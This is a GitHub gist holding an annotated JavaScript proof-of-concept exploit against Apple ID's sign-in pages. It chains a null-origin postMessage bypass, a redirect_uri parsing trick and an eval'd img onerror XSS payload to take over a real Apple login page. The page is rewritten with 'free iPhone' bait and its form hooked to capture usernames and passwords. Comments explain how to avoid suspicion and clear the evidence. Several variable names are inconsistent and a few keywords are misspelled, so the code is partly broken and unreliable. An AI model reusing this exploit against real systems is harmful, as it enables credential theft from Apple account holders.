Last active
December 12, 2023 17:15
-
-
Save Zemnmez/628da3f822f8686603c0b7c40b49816f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE HTML> | |
<title>Apple Rewards</title> | |
<style type="text/css"> | |
/* | |
// First, we | |
// clear up any gives that there's | |
// something going on by making | |
// the Apple ID frame fill | |
// the whole page with no border | |
*/ | |
.idmsa-frame { | |
width: 100vw; | |
height: 100vh; | |
border: 0; | |
} | |
</style> | |
<script> | |
// Next, the null origin allows us to bypass | |
// Apple ID's postMessage controls. | |
// This function takes some code, and | |
// runs it in the null origin. | |
const runAsNull = code => { | |
const i = document.createElement( | |
"iframe" | |
); | |
// We apply 'sandbox=allow-scripts' | |
// to the iframe. Enabling sandboxing | |
// makes our page have the 'null' origin | |
// we need to bypass Apple ID's recieve | |
// postMessage controls. | |
i.setAttribute( | |
"sandbox", | |
"allow-scripts" | |
); | |
// Then, we create an HTML document inside our sandboxed iframe | |
// containing our javascript code. | |
// | |
// Those backtick quotes (`) are just multi-line | |
// quote marks by the way. | |
i.setAttribute( | |
"srcdoc", | |
`<!DOCTYPE HTML> | |
<title>null origin</title> | |
<body><script>(${javascriptCode})()<\/script></body> | |
`); | |
// Appends our iframe child, which we called 'i' | |
// to the page's '<body>' element, and gets a handle | |
// on the window the browser made inside the iframe. | |
return document.body | |
.appendChild(i).contentWindow; | |
} | |
// This is the code we want to inject into idmsa.apple.com. | |
// For now, it's just a pop-up box that says the domain | |
// that it's running in. | |
// | |
// Domains and origins are the fundamental primitives of web | |
// security, so if we can open a popup showing 'idmsa.apple.com', | |
// we prove to ourselves that we've compromised Apple ID. | |
const injection = () => { | |
// we want to get rid of the evidence as soon as we can. | |
// once our popup is initialized, it passes us a message | |
// which we then pass onto our parent exploit window. | |
// it can then use location.assign() to remove us | |
// from the browser history. | |
window.addEventListener("message", ({data}) => { | |
if(data != "CLOSE") return; | |
window.parent.postMessage("CLOSE", "*"); | |
window.close(); | |
}) | |
// the 'Sign in With Apple' button, stolen right from | |
// the brand guidelines | |
const appleLoginImage = "https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple/images/apple-id-sign-in-with.png"; | |
// This is a legitimate apple login page. | |
// we pop this out and escape into it. | |
const legitLogin = "https://idmsa.apple.com/IDMSWebAuth/login.html?appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&language=US-EN&path=/Login.do%3FmyInfoReturnURL%3DRegisterAgreement.do%253Fskip%253Dyes%253Fskip%253Dyes"; | |
// create the 'Sign in With Apple' button. | |
const i = document.createElement("img"); | |
i.src = appleLoginImage; | |
// when the button is clicked, we popout our | |
// 'legit' login page. | |
// | |
// A click is needed due to anti-popup browser measures. | |
// we could equally use another input like pressing a key, | |
// but this I think arouses the least suspiscion. | |
i.addEventListener('click', () => { | |
const myWnd = window.open(legitLogin); | |
// once we've opened the legit login page, we won't | |
// know when it's actually ready to inject into. | |
// so we just keep injecting over and over again | |
// every tenth of a second until we get a signal | |
// back to say the injection succeedd. | |
setInterval(() => { | |
// injecting code across windows and origins like this | |
// is *really* annoying. unless you've done it before | |
// the full scope of annoyance will be blissfully unknown | |
// to you. | |
// | |
// Because of the way Javascript internals work, each `window` | |
// is its own namespace, so when we document.createElement -- | |
// which is secretly window.document.createElement, | |
// we actually make an element that's specific to our | |
// window. | |
// | |
// This fuckery is beyond us at this point | |
// so it's easiest to just inject scripts and have | |
// them run natively in the attacked window. | |
const toInject = () => { | |
// A nice little touch :) | |
document.querySelector("#signin").innerHTML = document.querySelector("#signin").innerHTML.replace(/Apple Support/g, "your free iPhone"); | |
document.querySelector("form[name=form1]").setAttribute("onsubmit", ""); | |
// override the submit action for the form | |
// to steal the user's username and password. | |
document.querySelector("form[name=form1]").addEventListener('submit',() => { | |
alert(`${ | |
document.querySelector("#accountname").value | |
} / ${ | |
document.querySelector("#accountpassword").value | |
}`); | |
}); | |
// once initialized, post to the page that created | |
// us that it can close now. | |
window.opener.postMessage("CLOSE", "*"); | |
} | |
// get a reference to the document of the popped out | |
// window and inject the attack code we just defined. | |
const doc = myWnd.document; | |
const s = (doc.body || doc.documentElement).appendChild( | |
doc.createElement.call(doc, "script") | |
); | |
s.innerHTML = `(${toInject})()`; | |
}, 100); | |
}); | |
// this is awful. do not do this. | |
// it's a really quick way to clear a page of content though :) | |
document.body.innerHTML = ""; | |
// and finally, add the button which will kick it all off | |
document.body.appendChild(i); | |
} | |
// This is the page we're embedding and attacking. It needs | |
// a bunch of parmeters to work, but we'll probably want | |
// to reference those parameters a few times | |
// so it's easier to define the components of the URL separately. | |
const idmsa_base = | |
"https://idmsa.apple.com/appleauth/auth/authorize/signin"; | |
// Here are the parameters we're using against idmsa_base. | |
// defining them like this instead of one long URL | |
// makes it easier to programmatically alter these parameters | |
// if need to to work on our attack. | |
const idmsa_params = { | |
client_id: "d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d", | |
// Here, the redirect_uri's ? is pre-urlencoded as mentioned | |
// in previous chapters. This causes it to be misinterpreted | |
// by different parts of the system. | |
redirect_uri: `https://s3-eu-west-1.amazonaws.com${encodeURIComponent("?")} s3-eu-west-1.amazonaws.com;@www.icloud.com`, | |
response_mode: "web_message", | |
// I thought it might be possible that this frame_id | |
// needed to change per-request, but it doesn't | |
// so we can just hard code it :) | |
frame_id: "9d8dafd2-0f8c-4901-ab87-7021ffa6f7ff", | |
locale: "en_GB" | |
} | |
// let's make the idmsa frame. | |
const idmsa_frame = document.createElement("iframe"); | |
// to inherit our CSS class from before | |
idmsa_frame.setAttribute("class", "idmsa"); | |
// this builds the idmsa url. I apologise for the way I build | |
// the url encoding stuff. it reads fine to me but uses | |
// a bunch of higher-level javascript concepts that | |
// might not make a whole lot of sense. | |
idmsa_frame.src = `${idmsa_base}?${ | |
Object.entries(idmsa_params) | |
.map(([key, value]) => | |
[key, value].map(encodeURIComponent).join("=")) | |
.join("&") | |
}`; | |
// our null page needs to: | |
// 1. Wait for a config, and remember it | |
// 2. Forward all subsequent postMessages to | |
// idmsa.apple.com. | |
const nullPageCode = () => { | |
// async functions can wait on asynchronous events. | |
// since we're waiting n a bunch of asynchronous | |
// stuff to happen it only makes sense. | |
async function main() { | |
// tell our parent we're ready. | |
// the onLoad events for iframes have always | |
// been finickity. Waiting on a postMessage | |
// is much easier. | |
window.parent.postMessage("ready", "*"); | |
// await lets us wait for events that might | |
// happen in the future before continuing. | |
// we don't want to do anything before we | |
// get the config anyway. | |
// | |
// Promises make fantastic adaptors for turning | |
// old style callbacks into async code. | |
const config = await new Promise((ok, fail) => { | |
console.log("waiting for config"); | |
// postMessage's event is just called 'message' | |
// i dont really know why. | |
window.addEventListener('message', ({data}) => { | |
console.log("got config message"); | |
// honestly receiving the wrong postMessage | |
// can happen pretty easily so it's worth | |
// guarding for to save some painful debug | |
// time. | |
if (data.type != config) | |
reutrn fail(`did not get config, instead got ${JSON.stringify(data)})`); | |
// this completes the promise. | |
return ok(data); | |
// eventListeners default to firing on all | |
// events but everything would probably break | |
// if we did that with this function. | |
}, { once: true }); | |
}); | |
// extract the idmsaFrameId (of window.top.frames) | |
// for later use. | |
const {idmsaFrameId} = config; | |
// now the easy part. we just forward everything | |
// to the idmsa page. | |
window.addEventListener("message", ({data}) => { | |
console.log("forwarding to idmsa", data); | |
// ordinarily "*" would be a bad idea, but because | |
// *we* are the bad guys we don't need to give a | |
// shit about secure coding practices. | |
window.top.frames[idmsaFrameId].postMessage(data, "*"); | |
}); | |
// this is just how you execute an async function | |
// without making javascript annoyed at you. | |
main().catch(e => console.error(e)); | |
} | |
} | |
// next we'll build our config. | |
// we're going to go for an <img src=a onerror> XSS, | |
// the reason being that due to a totally ineffectual | |
// and super old attempt at global XSS mitigation, | |
// we can't inject <script> tags and have them | |
// run after the page's first load, which will | |
// have fired by this time. This is a bypass. | |
// | |
// We also btoa (base64 encode) our injection code | |
// for transit across the postMessage boundary. | |
// this is mainly because managing quotation marks | |
// in our HTML injection gets really confusing otherwise, | |
// since we're already using ' and " in our <img> code -- | |
// if these were present in our injection code string, the | |
// code would break. | |
const injectionHTML = `<img src=a onerror='eval(atob("${ | |
bota(`(${injection})()`) | |
}"))' />`; | |
// stolen directly from the known good conversation we eavesdropped on. | |
// "src" is not actually "[img src]" but a good 8000 characters of | |
// base64 encoded image data | |
// which I omit so as to not make this unreadable. | |
const config_resp = { "jsonrpc": "2.0", "id": "69B33E61-79C4-4A52-9522-63F273B7C349", "result": { "data": { "features": { "rememberMe": true, "createLink": false, "iForgotLink": true, "pause2FA": false }, "signInLabel": "Sign in to get your free Apple giftcard!", "serviceKey": "d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d", "defaultAccountNameAutoFillDomain": "icloud.com", "trustTokens": [], "rememberMeLabel": "keep-me-signed-in", "privacy": injectionHTML, "theme": "dark", "waitAnimationOnAuthComplete": false, "logo": { "src": "[img src]", "width": "100px;color:red" } } } }; | |
// add the null page iframe too our page. | |
const nullPage = runFunctionInNullOrigin(nullPageCode); | |
// determine which frame is the idmsa frame. | |
let idmsaFrameId; | |
// there's probably a more elegant way to find what | |
// index the idmsa frame is on window.top.frames, but | |
// these APIs are so ancient I don't really want to fuck | |
// with them and spend ages working out why they won't work. | |
for (let i = 0; i < window.top.frames.length; i++) { | |
if (window.top.frames[i] != idmsa.contentWindow) continue; | |
ifmsaFrameId = i; | |
break | |
} | |
// prepare the config to send to the null page | |
const config = { | |
idmsaFrameId, | |
type: "config" | |
} | |
window.addEventListener("message", e => { | |
console.log("RCV", e); | |
// we need to wait for the null page to postMessage | |
// us to tell us it exists. This way of doing it | |
// is ... not entirely kosher but it works for our | |
// purposes. | |
if (e.data == "ready") return nullPage.postMessage(config, "*"); | |
// the postmessage JSONRPC protocol that apple id uses | |
// prefixes everything with this string. We need to trim | |
// it off, but also do this ourselves in our communications. | |
const prefix = "pmrpc."; | |
if (!e.data.startsWith(prefix)) | |
throw new Error(`got weird message ${JSON.strigify(data)}`); | |
// I'm sure there's a real trimPrefix function somewhere | |
// but i'm not in the business of following the rules | |
// right now. | |
const json = e.data.slice(prefix.length); | |
const rq = JSON.parse(json); | |
// extracting the stuff from the request that will be reused | |
// for our response. | |
const { method, jsonrpc, params , id } = rq; | |
// share the good news when we steal your apple login | |
if (method == "passwordAuthDone") alert(`got creds! ${ | |
JSON.stringify(params) | |
}`); | |
// same if we also get a 2FA'd set of creds | |
if (method == "complete") alert(`got creds! ${ | |
JSON.stringify(params) | |
}`); | |
// config requests are the complicated ones. | |
// we merge our template with the jsonrpc version | |
// and the request id for our response. | |
if (method == "config") return nullPage.postMessage( | |
`${prefix}${JSON.stringify({ | |
...config_resp, jsonrpc, id | |
})}`, "*"; | |
) | |
// for all other requests, we just let the page know | |
// that everything is OK ;) | |
nullPage.postMessage(`${prefix}${JSON.stringify({ | |
jsonrpc, id, result: true | |
})}`, "*"); | |
}) | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment